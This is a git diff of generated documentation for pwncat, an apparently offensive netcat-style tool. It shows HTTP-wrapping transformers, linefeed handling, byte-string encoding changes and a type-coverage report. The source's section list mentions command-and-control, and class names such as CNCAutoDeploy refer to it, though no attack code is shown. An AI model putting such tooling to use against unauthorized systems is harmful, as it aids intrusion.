+        weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()]
+        month = [
+            "Jan",
+            "Feb",
+            "Mar",
+            "Apr",
+            "May",
+            "Jun",
+            "Jul",
+            "Aug",
+            "Sep",
+            "Oct",
+            "Nov",
+            "Dec",
+        ][now.month - 1]
+        return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (
+            weekday,
+            now.day,
+            month,
+            now.year,
+            now.hour,
+            now.minute,
+            now.second,
+        )
+
+

Ancestors

+ +

Methods

+
+
+def transform(self, data) +
+
+

Wrap data into a HTTP packet.

+

Returns

+
+
bytes
+
The wrapped string.
+
+
+ +Expand source code + +
def transform(self, data):
+    # type: (bytes) -> bytes
+    """Wrap data into a HTTP packet.
+
+    Returns:
+        bytes: The wrapped string.
+    """
+    request_header = [
+        "POST / HTTP/1.1",
+        "Host: {}".format(self.__opts["host"]),
+        "User-Agent: pwncat",
+        "Accept: */*",
+        "Conent-Length: {}".format(len(data)),
+        "Content-Type: text/plain; charset=UTF-8",
+    ]
+    response_header = [
+        "HTTP/1.1 200 OK",
+        "Date: {}".format(self.__get_date()),
+        "Server: pwncat",
+        "Conent-Length: {}".format(len(data)),
+        "Connection: close",
+    ]
+
+    self.__response_headers_sent = True
+
+    if self.__opts["reply"] == "request":
+        header = StringEncoder.encode(
+            "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
+        )
+    else:
+        header = StringEncoder.encode(
+            "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
+        )
+    return header + data
+
+
+
+

Inherited members

+ +
+
+class TransformHttpUnpack +(opts) +
+
+

Implement a transformation to unpack data from HTTP packets.

+

Set specific options for this transformer.

+

Args

+
+
opts : DsTransformLinefeed
+
Transformer options.
+
+
+ +Expand source code + +
class TransformHttpUnpack(Transform):
+    """Implement a transformation to unpack data from HTTP packets."""
+
+    # --------------------------------------------------------------------------
+    # Constructor / Destructor
+    # --------------------------------------------------------------------------
+    def __init__(self, opts):
+        # type: (Dict[str, str]) -> None
+        """Set specific options for this transformer.
+
+        Args:
+            opts (DsTransformLinefeed): Transformer options.
+
+        """
+        super(TransformHttpUnpack, self).__init__()
+        self.__opts = opts
+        self.__log = logging.getLogger(__name__)
+
+    # --------------------------------------------------------------------------
+    # Public Functions
+    # --------------------------------------------------------------------------
+    def transform(self, data):
+        # type: (bytes) -> bytes
+        """Unwrap data from a HTTP packet.
+
+        Returns:
+            str: The wrapped string.
+        """
+        request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
+        response = StringEncoder.encode(r"^HTTP/[.0-9]+")
+
+        # Did not receive a valid HTTP request, so we return the original untransformed message
+        if not (re.match(request, data) or re.match(response, data)):
+            return data
+
+        body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
+        match = re.search(body, data)
+
+        # Check if we can separate headers and body
+        if match is None or len(match.group()) < 2:
+            return data
+        return match.group(2)
+
+

Ancestors

+ +

Methods

+
+
+def transform(self, data) +
+
+

Unwrap data from a HTTP packet.

+

Returns

+
+
str
+
The wrapped string.
+
+
+ +Expand source code + +
def transform(self, data):
+    # type: (bytes) -> bytes
+    """Unwrap data from a HTTP packet.
+
+    Returns:
+        str: The wrapped string.
+    """
+    request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
+    response = StringEncoder.encode(r"^HTTP/[.0-9]+")
+
+    # Did not receive a valid HTTP request, so we return the original untransformed message
+    if not (re.match(request, data) or re.match(response, data)):
+        return data
+
+    body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
+    match = re.search(body, data)
+
+    # Check if we can separate headers and body
+    if match is None or len(match.group()) < 2:
+        return data
+    return match.group(2)
+
+
+
+

Inherited members

+ +
class TransformLinefeed (opts) @@ -14277,7 +17503,7 @@

Args

# Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Transform linefeeds to CRLF, LF or CR if requested. Returns: @@ -14289,39 +17515,39 @@

Args

# ? -> No line feeds if self.__opts.crlf == "no": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] - if data.endswith("\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] - if data.endswith("\r"): + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF - if self.__opts.crlf == "crlf" and not data.endswith("\r\n"): - if data.endswith("\n"): + if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") - return data[:-1] + "\r\n" - if data.endswith("\r"): + return data[:-1] + StringEncoder.encode("\r\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") - return data[:-1] + "\r\n" + return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") - return data[:-2] + "\n" - if data.endswith("\r"): + return data[:-2] + StringEncoder.encode("\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") - return data[:-1] + "\n" + return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") - return data[:-2] + "\r" - if data.endswith("\n"): + return data[:-2] + StringEncoder.encode("\r") + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") - return data[:-1] + "\r" + return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data
@@ -14348,7 +17574,7 @@

Returns

Expand source code
def transform(self, data):
-    # type: (str) -> str
+    # type: (bytes) -> bytes
     """Transform linefeeds to CRLF, LF or CR if requested.
 
     Returns:
@@ -14360,39 +17586,39 @@ 

Returns

# ? -> No line feeds if self.__opts.crlf == "no": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] - if data.endswith("\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] - if data.endswith("\r"): + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF - if self.__opts.crlf == "crlf" and not data.endswith("\r\n"): - if data.endswith("\n"): + if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") - return data[:-1] + "\r\n" - if data.endswith("\r"): + return data[:-1] + StringEncoder.encode("\r\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") - return data[:-1] + "\r\n" + return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") - return data[:-2] + "\n" - if data.endswith("\r"): + return data[:-2] + StringEncoder.encode("\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") - return data[:-1] + "\n" + return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") - return data[:-2] + "\r" - if data.endswith("\n"): + return data[:-2] + StringEncoder.encode("\r") + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") - return data[:-1] + "\r" + return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data
@@ -14446,15 +17672,15 @@

Args

# Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Raise a stop signal upon receiving the safeword. Returns: str: The string as it is without changes """ - if self.__opts.safeword in data: - self.__log.info("Received safeword: raising stop signal.") - self.__opts.ssig.raise_stop() + if StringEncoder.encode(self.__opts.safeword) in data: + self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform") # type: ignore + self.__opts.ssig.raise_terminate() return data

Ancestors

@@ -14479,15 +17705,15 @@

Returns

Expand source code
def transform(self, data):
-    # type: (str) -> str
+    # type: (bytes) -> bytes
     """Raise a stop signal upon receiving the safeword.
 
     Returns:
         str: The string as it is without changes
     """
-    if self.__opts.safeword in data:
-        self.__log.info("Received safeword: raising stop signal.")
-        self.__opts.ssig.raise_stop()
+    if StringEncoder.encode(self.__opts.safeword) in data:
+        self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
+        self.__opts.ssig.raise_terminate()
     return data
@@ -14541,10 +17767,15 @@

ArgValidato

CNC

@@ -14552,6 +17783,9 @@

CNC

CNCAutoDeploy

  • +

    CNCPythonNotFound

    +
  • +
  • ColoredLogFormatter

  • @@ -14714,6 +17951,24 @@

    IOStdinSt
  • +

    InterruptHandler

    + +
  • +
  • Net

  • @@ -14760,21 +18016,17 @@

    Sock

  • is_ipv4_address
  • is_ipv6_address
  • listen
  • - - -
  • -

    StopSignal

    -
  • StringEncoder

  • @@ -14793,6 +18045,18 @@

    Transform

  • +

    TransformHttpPack

    + +
  • +
  • +

    TransformHttpUnpack

    + +
  • +
  • TransformLinefeed

    • transform
    • diff --git a/docs/pwncat.man.html b/docs/pwncat.man.html index 350452f8..99b0dbc2 100644 --- a/docs/pwncat.man.html +++ b/docs/pwncat.man.html @@ -155,6 +155,21 @@

      DESCRIPTION

      Do not resolve DNS.

      + +

      −−send−on−eof

      + +

      Buffer data received on stdin +until EOF and send everything in one chunk.

      + + +

      −−no−shutdown

      + +

      Do not shutdown into +half−duplex mode. If this option is passed, pwncat +won’t invoke shutdown on a socket after seeing EOF on +stdin. This is provided for backward−compatibility +with OpenBSD netcat, which exhibits this behavior.

      +

      −v, −−verbose

      diff --git a/docs/pwncat.type.html b/docs/pwncat.type.html index 9cbc8889..6a43fa7f 100644 --- a/docs/pwncat.type.html +++ b/docs/pwncat.type.html @@ -14,13 +14,13 @@

      Mypy Type Check Coverage Summary

      Total -6.44% imprecise -5283 LOC +6.16% imprecise +6352 LOC bin/pwncat -6.44% imprecise -5283 LOC +6.16% imprecise +6352 LOC @@ -5318,6 +5318,1075 @@

      pwncat

      5281 5282 5283 +5284 +5285 +5286 +5287 +5288 +5289 +5290 +5291 +5292 +5293 +5294 +5295 +5296 +5297 +5298 +5299 +5300 +5301 +5302 +5303 +5304 +5305 +5306 +5307 +5308 +5309 +5310 +5311 +5312 +5313 +5314 +5315 +5316 +5317 +5318 +5319 +5320 +5321 +5322 +5323 +5324 +5325 +5326 +5327 +5328 +5329 +5330 +5331 +5332 +5333 +5334 +5335 +5336 +5337 +5338 +5339 +5340 +5341 +5342 +5343 +5344 +5345 +5346 +5347 +5348 +5349 +5350 +5351 +5352 +5353 +5354 +5355 +5356 +5357 +5358 +5359 +5360 +5361 +5362 +5363 +5364 +5365 +5366 +5367 +5368 +5369 +5370 +5371 +5372 +5373 +5374 +5375 +5376 +5377 +5378 +5379 +5380 +5381 +5382 +5383 +5384 +5385 +5386 +5387 +5388 +5389 +5390 +5391 +5392 +5393 +5394 +5395 +5396 +5397 +5398 +5399 +5400 +5401 +5402 +5403 +5404 +5405 +5406 +5407 +5408 +5409 +5410 +5411 +5412 +5413 +5414 +5415 +5416 +5417 +5418 +5419 +5420 +5421 +5422 +5423 +5424 +5425 +5426 +5427 +5428 +5429 +5430 +5431 +5432 +5433 +5434 +5435 +5436 +5437 +5438 +5439 +5440 +5441 +5442 +5443 +5444 +5445 +5446 +5447 +5448 +5449 +5450 +5451 +5452 +5453 +5454 +5455 +5456 +5457 +5458 +5459 +5460 +5461 +5462 +5463 +5464 +5465 +5466 +5467 +5468 +5469 +5470 +5471 +5472 +5473 +5474 +5475 +5476 +5477 +5478 +5479 +5480 +5481 +5482 +5483 +5484 +5485 +5486 +5487 +5488 +5489 +5490 +5491 +5492 +5493 +5494 +5495 +5496 +5497 +5498 +5499 +5500 +5501 +5502 +5503 +5504 +5505 +5506 +5507 +5508 +5509 +5510 +5511 +5512 +5513 +5514 +5515 +5516 +5517 +5518 +5519 +5520 +5521 +5522 +5523 +5524 +5525 +5526 +5527 +5528 +5529 +5530 +5531 +5532 +5533 +5534 +5535 +5536 +5537 +5538 +5539 +5540 +5541 +5542 +5543 +5544 +5545 +5546 +5547 +5548 +5549 +5550 +5551 +5552 +5553 +5554 +5555 +5556 +5557 +5558 +5559 +5560 +5561 +5562 +5563 +5564 +5565 +5566 +5567 +5568 +5569 +5570 +5571 +5572 +5573 +5574 +5575 +5576 +5577 +5578 +5579 +5580 +5581 +5582 +5583 +5584 +5585 +5586 +5587 +5588 +5589 +5590 +5591 +5592 +5593 +5594 +5595 +5596 +5597 +5598 +5599 +5600 +5601 +5602 +5603 +5604 +5605 +5606 +5607 +5608 +5609 +5610 +5611 +5612 +5613 +5614 +5615 +5616 +5617 +5618 +5619 +5620 +5621 +5622 +5623 +5624 +5625 +5626 +5627 +5628 +5629 +5630 +5631 +5632 +5633 +5634 +5635 +5636 +5637 +5638 +5639 +5640 +5641 +5642 +5643 +5644 +5645 +5646 +5647 +5648 +5649 +5650 +5651 +5652 +5653 +5654 +5655 +5656 +5657 +5658 +5659 +5660 +5661 +5662 +5663 +5664 +5665 +5666 +5667 +5668 +5669 +5670 +5671 +5672 +5673 +5674 +5675 +5676 +5677 +5678 +5679 +5680 +5681 +5682 +5683 +5684 +5685 +5686 +5687 +5688 +5689 +5690 +5691 +5692 +5693 +5694 +5695 +5696 +5697 +5698 +5699 +5700 +5701 +5702 +5703 +5704 +5705 +5706 +5707 +5708 +5709 +5710 +5711 +5712 +5713 +5714 +5715 +5716 +5717 +5718 +5719 +5720 +5721 +5722 +5723 +5724 +5725 +5726 +5727 +5728 +5729 +5730 +5731 +5732 +5733 +5734 +5735 +5736 +5737 +5738 +5739 +5740 +5741 +5742 +5743 +5744 +5745 +5746 +5747 +5748 +5749 +5750 +5751 +5752 +5753 +5754 +5755 +5756 +5757 +5758 +5759 +5760 +5761 +5762 +5763 +5764 +5765 +5766 +5767 +5768 +5769 +5770 +5771 +5772 +5773 +5774 +5775 +5776 +5777 +5778 +5779 +5780 +5781 +5782 +5783 +5784 +5785 +5786 +5787 +5788 +5789 +5790 +5791 +5792 +5793 +5794 +5795 +5796 +5797 +5798 +5799 +5800 +5801 +5802 +5803 +5804 +5805 +5806 +5807 +5808 +5809 +5810 +5811 +5812 +5813 +5814 +5815 +5816 +5817 +5818 +5819 +5820 +5821 +5822 +5823 +5824 +5825 +5826 +5827 +5828 +5829 +5830 +5831 +5832 +5833 +5834 +5835 +5836 +5837 +5838 +5839 +5840 +5841 +5842 +5843 +5844 +5845 +5846 +5847 +5848 +5849 +5850 +5851 +5852 +5853 +5854 +5855 +5856 +5857 +5858 +5859 +5860 +5861 +5862 +5863 +5864 +5865 +5866 +5867 +5868 +5869 +5870 +5871 +5872 +5873 +5874 +5875 +5876 +5877 +5878 +5879 +5880 +5881 +5882 +5883 +5884 +5885 +5886 +5887 +5888 +5889 +5890 +5891 +5892 +5893 +5894 +5895 +5896 +5897 +5898 +5899 +5900 +5901 +5902 +5903 +5904 +5905 +5906 +5907 +5908 +5909 +5910 +5911 +5912 +5913 +5914 +5915 +5916 +5917 +5918 +5919 +5920 +5921 +5922 +5923 +5924 +5925 +5926 +5927 +5928 +5929 +5930 +5931 +5932 +5933 +5934 +5935 +5936 +5937 +5938 +5939 +5940 +5941 +5942 +5943 +5944 +5945 +5946 +5947 +5948 +5949 +5950 +5951 +5952 +5953 +5954 +5955 +5956 +5957 +5958 +5959 +5960 +5961 +5962 +5963 +5964 +5965 +5966 +5967 +5968 +5969 +5970 +5971 +5972 +5973 +5974 +5975 +5976 +5977 +5978 +5979 +5980 +5981 +5982 +5983 +5984 +5985 +5986 +5987 +5988 +5989 +5990 +5991 +5992 +5993 +5994 +5995 +5996 +5997 +5998 +5999 +6000 +6001 +6002 +6003 +6004 +6005 +6006 +6007 +6008 +6009 +6010 +6011 +6012 +6013 +6014 +6015 +6016 +6017 +6018 +6019 +6020 +6021 +6022 +6023 +6024 +6025 +6026 +6027 +6028 +6029 +6030 +6031 +6032 +6033 +6034 +6035 +6036 +6037 +6038 +6039 +6040 +6041 +6042 +6043 +6044 +6045 +6046 +6047 +6048 +6049 +6050 +6051 +6052 +6053 +6054 +6055 +6056 +6057 +6058 +6059 +6060 +6061 +6062 +6063 +6064 +6065 +6066 +6067 +6068 +6069 +6070 +6071 +6072 +6073 +6074 +6075 +6076 +6077 +6078 +6079 +6080 +6081 +6082 +6083 +6084 +6085 +6086 +6087 +6088 +6089 +6090 +6091 +6092 +6093 +6094 +6095 +6096 +6097 +6098 +6099 +6100 +6101 +6102 +6103 +6104 +6105 +6106 +6107 +6108 +6109 +6110 +6111 +6112 +6113 +6114 +6115 +6116 +6117 +6118 +6119 +6120 +6121 +6122 +6123 +6124 +6125 +6126 +6127 +6128 +6129 +6130 +6131 +6132 +6133 +6134 +6135 +6136 +6137 +6138 +6139 +6140 +6141 +6142 +6143 +6144 +6145 +6146 +6147 +6148 +6149 +6150 +6151 +6152 +6153 +6154 +6155 +6156 +6157 +6158 +6159 +6160 +6161 +6162 +6163 +6164 +6165 +6166 +6167 +6168 +6169 +6170 +6171 +6172 +6173 +6174 +6175 +6176 +6177 +6178 +6179 +6180 +6181 +6182 +6183 +6184 +6185 +6186 +6187 +6188 +6189 +6190 +6191 +6192 +6193 +6194 +6195 +6196 +6197 +6198 +6199 +6200 +6201 +6202 +6203 +6204 +6205 +6206 +6207 +6208 +6209 +6210 +6211 +6212 +6213 +6214 +6215 +6216 +6217 +6218 +6219 +6220 +6221 +6222 +6223 +6224 +6225 +6226 +6227 +6228 +6229 +6230 +6231 +6232 +6233 +6234 +6235 +6236 +6237 +6238 +6239 +6240 +6241 +6242 +6243 +6244 +6245 +6246 +6247 +6248 +6249 +6250 +6251 +6252 +6253 +6254 +6255 +6256 +6257 +6258 +6259 +6260 +6261 +6262 +6263 +6264 +6265 +6266 +6267 +6268 +6269 +6270 +6271 +6272 +6273 +6274 +6275 +6276 +6277 +6278 +6279 +6280 +6281 +6282 +6283 +6284 +6285 +6286 +6287 +6288 +6289 +6290 +6291 +6292 +6293 +6294 +6295 +6296 +6297 +6298 +6299 +6300 +6301 +6302 +6303 +6304 +6305 +6306 +6307 +6308 +6309 +6310 +6311 +6312 +6313 +6314 +6315 +6316 +6317 +6318 +6319 +6320 +6321 +6322 +6323 +6324 +6325 +6326 +6327 +6328 +6329 +6330 +6331 +6332 +6333 +6334 +6335 +6336 +6337 +6338 +6339 +6340 +6341 +6342 +6343 +6344 +6345 +6346 +6347 +6348 +6349 +6350 +6351 +6352
      #!/usr/bin/env python3
       """pwncat."""
      @@ -5330,7 +6399,7 @@ 

      pwncat

      # 4. Transformer # 5. IO modules # 6. PSE Store -# 7. IO Runner +# 7. IO Runner / InterruptHandler # 8. Command & Control # 9. Command line arguments # 10. Main entrypoint @@ -5370,7 +6439,7 @@

      pwncat

      # # 4. Signaling / Interrupts # ------------------------------------ -# The StopSignal instance is distributed across all Threads and and the Runner instance and +# The InterruptHandler instance is distributed across all Threads and and the Runner instance and # is a way to let other Threads know that a stop signal has been requested. # Producer/Consumer can implement their own interrupt function so they can be stopped from # inside (if they do non-blocking stuff) or from outside (if they do blocking stuff). @@ -5379,17 +6448,18 @@

      pwncat

      from abc import abstractmethod from abc import ABCMeta +from datetime import datetime from subprocess import PIPE from subprocess import Popen from subprocess import STDOUT import argparse -import atexit import base64 import logging import os import re import select +import signal import socket import sys import threading @@ -5448,12 +6518,12 @@

      pwncat

      APPNAME = "pwncat" APPREPO = "https://github.com/cytopia/pwncat" -VERSION = "0.0.23-alpha" +VERSION = "0.1.0" # Default timeout for timeout-based sys.stdin and socket.recv -TIMEOUT_READ_STDIN = 0.1 -TIMEOUT_RECV_SOCKET = 0.1 -TIMEOUT_RECV_SOCKET_RETRY = 2 +TIMEOUT_READ_STDIN = 0.05 +TIMEOUT_RECV_SOCKET = 0.05 +TIMEOUT_RECV_SOCKET_RETRY = 1 # https://docs.python.org/3/library/subprocess.html#popen-constructor # * 0 means unbuffered (read and write are one system call and can return short) @@ -5539,7 +6609,7 @@

      pwncat

      @property def function(self): - # type: () -> Callable[..., Iterator[str]] + # type: () -> Callable[..., Iterator[bytes]] """`IO.producer`: Callable funtcion function.""" return self.__function @@ -5565,7 +6635,7 @@

      pwncat

      # -------------------------------------------------------------------------- def __init__(self, function, *args, **kwargs): - # type: (Callable[..., Iterator[str]], Any, Any) -> None + # type: (Callable[..., Iterator[bytes]], Any, Any) -> None self.__function = function @property def consumer(self): - # type: () -> Callable[[str], None] + # type: () -> Callable[[bytes], None] """`IO.consumer`: Data consumer function.""" return self.__consumer @@ -5608,6 +6678,12 @@

      pwncat

      return self.__transformers @property + def daemon_thread(self): + # type: () -> bool + """`bool`: Determines if the action will be started in a daemon thread.""" + return self.__daemon_thread + + @property def code(self): # type: () -> Optional[Union[str, bytes, CodeType]] """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function.""" @@ -5619,9 +6695,10 @@

      pwncat

      def __init__( self, producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] interrupts, # type: List[Callable[[], None]] transformers, # type: List[Transform] + daemon_thread, # type: bool code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None @@ -5629,6 +6706,7 @@

      pwncat

      self.__consumer = consumer self.__interrupts = interrupts self.__transformers = transformers + self.__daemon_thread = daemon_thread self.__code = code @@ -5672,10 +6750,10 @@

      pwncat

      Explicit (x1)"> return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -5684,10 +6762,10 @@

      pwncat

      Explicit (x4)"> def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler intvl, # type: int - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__intvl = intvl self.__args = args @@ -5750,10 +6828,10 @@

      pwncat

      Explicit (x1)"> return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -5762,11 +6840,11 @@

      pwncat

      Explicit (x4)"> def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler repeat, # type: int pause, # type: float - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__repeat = repeat self.__pause = pause # -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance to trigger a shutdown signal.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal.""" return self.__ssig @property @@ -6161,7 +7239,7 @@

      pwncat

      # Constructor # -------------------------------------------------------------------------- def __init__(self, ssig, safeword): - # type: (StopSignal, str) -> None + # type: (InterruptHandler, str) -> None super(DsTransformSafeword, self).__init__() self.__ssig = ssig self.__safeword = safeword @@ -6188,14 +7266,21 @@

      pwncat

      """`float`: Input timeout in seconds for non-blocking read or `None` for blocking.""" return self.__input_timeout + @property + def send_on_eof(self): + # type: () -> bool + """`float`: Determines if we buffer STDIN until EOF before sending.""" + return self.__send_on_eof + # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, encoder, input_timeout): - # type: (StringEncoder, Optional[float]) -> None + def __init__(self, encoder, input_timeout, send_on_eof): + # type: (StringEncoder, Optional[float], bool) -> None super(DsIOStdinStdout, self).__init__() self.__enc = encoder self.__input_timeout = input_timeout + self.__send_on_eof = send_on_eof # ------------------------------------------------------------------------------------------------- @@ -6251,7 +7336,7 @@

      pwncat

      # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (1/4) TraceLogger +# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger # ------------------------------------------------------------------------------------------------- class TraceLogger(logging.getLoggerClass()): # type: ignore """Extend Python's default logger class with TRACE level logging.""" @@ -6293,7 +7378,7 @@

      pwncat

      # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (2/4) ColoredLogFormatter +# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter # ------------------------------------------------------------------------------------------------- class ColoredLogFormatter(logging.Formatter): """Custom log formatter which adds different details and color support.""" @@ -6366,7 +7451,7 @@

      pwncat

      # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (3/4) StringEncoder +# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder # ------------------------------------------------------------------------------------------------- class StringEncoder(object): """Takes care about Python 2/3 string encoding/decoding. @@ -6375,72 +7460,74 @@

      pwncat

      classes or functions as strings to keep full Python 2/3 compat. """ - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StringEncoder instance which converts str/bytes according to Python version.""" - self.__py3 = sys.version_info >= (3, 0) # type: bool - - # https://stackoverflow.com/questions/606191/27527728#27527728 - self.__codec = "cp437" - self.__fallback = "latin-1" + CODECS = [ + "utf-8", + "cp437", + "latin-1", + ] # -------------------------------------------------------------------------- - # Public Functions + # Class methods # -------------------------------------------------------------------------- - def encode(self, data): + @classmethod + def rstrip(cls, data, search=None): + # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str] + """Implementation of rstring which works on bytes or strings.""" + # We have a bytes object in Python3 + if sys.version_info >= (3, 0) and type(data) is not str: + # Strip whitespace + if search is None: + while True: + new = data + new = cls.rstrip(new, " ") + new = cls.rstrip(new, "\n") + new = cls.rstrip(new, "\r") + new = cls.rstrip(new, "\t") + # Loop until no more changes occur + if new == data: + return new + else: + bsearch = StringEncoder.encode(search) + while data[-1:] == bsearch: + data = data[:-1] + return data + + # Use native function + if search is None: + return data.rstrip() + return data.rstrip(search) # type: ignore + + @classmethod + def encode(cls, data): # type: (str) -> bytes """Convert string into a byte type for Python3.""" - if self.__py3: - try: - return data.encode(self.__codec) - except UnicodeEncodeError: - # TODO: Add logging - return data.encode(self.__fallback) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.encode(codec) + try: + return data.encode(codec) + except UnicodeEncodeError: + pass return data # type: ignore - def decode(self, data): + @classmethod + def decode(cls, data): # type: (bytes) -> str """Convert bytes into a string type for Python3.""" - if self.__py3: - return data.decode(self.__codec) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.decode(codec) + try: + return data.decode(codec) + except UnicodeDecodeError: + pass return data # type: ignore - def base64_encode(self, data): - # type: (str) -> str - """Convert string into a base64 encoded string.""" - return self.decode(base64.b64encode(self.encode(data))) - - -# ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (4/4): StopSignal -# ------------------------------------------------------------------------------------------------- -class StopSignal(object): - """Provide a simple boolean switch.""" - - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StopSignal instance.""" - self.__stop = False - - # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def has_stop(self): - # type: () -> bool - """Check if a stop signal has been raised.""" - return self.__stop - - def raise_stop(self): - # type: () -> None - """Raise a stop signal.""" - self.__stop = True - # ################################################################################################# # ################################################################################################# @@ -6454,7 +7541,7 @@

      pwncat

      # [4/11 NETWORK]: (1/1) Sock # ------------------------------------------------------------------------------------------------- class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore - """Thread-safe singleton Socket helper to emulate a module within the same file.""" + """Thread-safe singleton Socket wrapper to emulate a module within the same file.""" def __init__(self): # type: () -> None @@ -6828,13 +7915,14 @@

      pwncat

      # -------------------------------------------------------------------------- # Create functions # -------------------------------------------------------------------------- - def create_socket(self, family, sock_type, ip_tos_name=None): - # type: (Union[socket.AddressFamily, int], int, Optional[str]) -> socket.socket + def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None): + # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket """Create TCP or UDP socket. Args: family (socket.family): The address family for which to create the socket for. sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM + reuse_addr (bool): Set SO_REUSEADDR on the socket. ip_tos_name (str): Optional IP type of service value to apply to socket Returns: @@ -6883,7 +7971,8 @@

      pwncat

